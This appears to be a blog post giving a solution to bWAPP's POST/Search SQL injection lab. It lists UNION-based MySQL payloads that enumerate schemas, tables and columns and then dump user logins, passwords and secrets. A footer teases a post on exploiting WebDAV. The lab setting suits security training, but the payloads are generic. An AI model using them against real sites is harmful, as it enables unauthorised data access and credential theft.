Wednesday, February 5, 2020

bWAPP SQL Injection (POST/Search)

In bWAPP it gives us a POST/Search SQL Injection module to exploit. The following are just one soultion to the following problem of sql injection.

a' or 1=1#
a' order by 3#
a' order by 8#
a' union select 1,2,3,4,5,6,7 #
a' union select 1,2,@@version,database,user(),6,7 #
a' union select 1,concat(schema_name),3,4,5,6,7 FROM information_schema.schemata#
a' union select 1,2,table_name,4,5,6,7 from INFORMATION_SCHEMA.TABLES where table_schema=database()#
a' union select 1,2,column_name,4,5,6,7 from INFORMATION_SCHEMA.COLUMNS where table_name='users' and table_schema=database()#
a' union select 1,login,password,email,secret,6,7 from users#

No comments:

Post a Comment

Exploiting Weak WEBDAV Configurations

The server we are going to audit has the following fingerprint. 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) Next we need t...